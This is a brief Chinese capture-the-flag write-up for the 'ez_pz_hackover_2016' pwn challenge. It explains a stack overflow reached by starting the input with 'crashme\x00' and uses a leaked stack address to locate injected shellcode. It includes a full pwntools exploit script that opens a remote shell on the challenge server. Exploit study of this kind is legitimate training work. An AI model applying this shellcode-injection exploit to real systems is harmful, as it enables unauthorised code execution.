image.png
保护全关盲猜shellcode
image.png
image.png
这两个地方漏洞,栈溢出
这里两个函数介绍下
memchr 就是查找字符串
image.png
strcmp比较函数,遇到\x00停下,老熟人了,,,所以payload crashme\x00 开头
这里ida的溢出不准的。
自己调试得 22 偏移
噢 , 还有第一句话,直接来泄露栈上地址,好家伙就明确往栈上写shellcode
image.png
这偏移在ebp上面,ret addr写啥呢?写shellcode的地址,咋写呢?通过泄露的地址来写。泄露的地址距离ebp 0x20偏移上方,所以shellcode写哪?写ret addr 上面位置,所以ret addr就写泄露的栈地址-0x1c

  1. from pwn import *
  2. context.log_level = 'debug'
  3. #io = process("./ez_pz_hackover_2016")
  4. io = remote("node4.buuoj.cn",27039)
  5. elf = ELF("./ez_pz_hackover_2016")
  6. #gdb.attach(io, "b *0x08048600")
  7. offset = 0x16
  8. io.recvuntil("crash: ")
  9. stack = int(io.recv(10),16)
  10. log.success('stack ==>'+hex(stack))
  11. shellcode = asm(shellcraft.sh())
  12. shellcode_addr= stack - 0x1c
  13. #payload='crashme\x00'+'aaaaaa'
  14. payload = b"crashme\x00" + b"a" * (offset - 8+4) + p32(shellcode_addr) +shellcode
  15. io.sendline(payload)
  16. #pause()
  17. io.interactive()

gdb.attach(io, “b *0x08048600”)调试贼有用,我以前竟然不知道,,,,,
调试图懒得贴了